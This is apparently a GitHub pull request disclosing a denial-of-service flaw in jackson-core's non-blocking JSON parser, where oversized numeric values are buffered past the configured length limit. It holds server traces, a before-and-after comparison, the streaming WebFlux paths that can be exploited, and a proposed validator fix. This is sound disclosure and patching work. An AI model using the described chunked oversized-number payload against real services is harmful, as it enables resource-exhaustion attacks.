[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...

Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with
maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.

PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):

[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream

Server-side controller trace:

[ctrl] DataBuffer arrived size=6   ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)

Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.

Side-by-side:

Build Chunks accepted before exception Digits buffered Time to detection
jackson-core 2.18.7 250 (full payload) 50,000 (50x the configured limit) 6,548ms — only at terminator
2.18.8-SNAPSHOT (fix branch) 5 1,001 155ms — moment threshold crossed

Note on the default @<!-- -->RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @<!-- -->RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.

Suggested fix

Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:

     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
         int negMod = _numberNegative ? -1 : 0;

         while (true) {
             if (_inputPtr >= _inputEnd) {
                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;
                 _textBuffer.setCurrentLength(outPtr);
+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);
                 return _updateTokenToNA();
             }

Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.

Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).

Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.

Credit

Reported by tonghuaroot (tonghuaroot@<!-- -->gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.

@sonarqubecloud

Copy link
Copy Markdown

@Lomilar
Lomilar merged commit 5323881 into 1.6 Jul 30, 2026
8 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants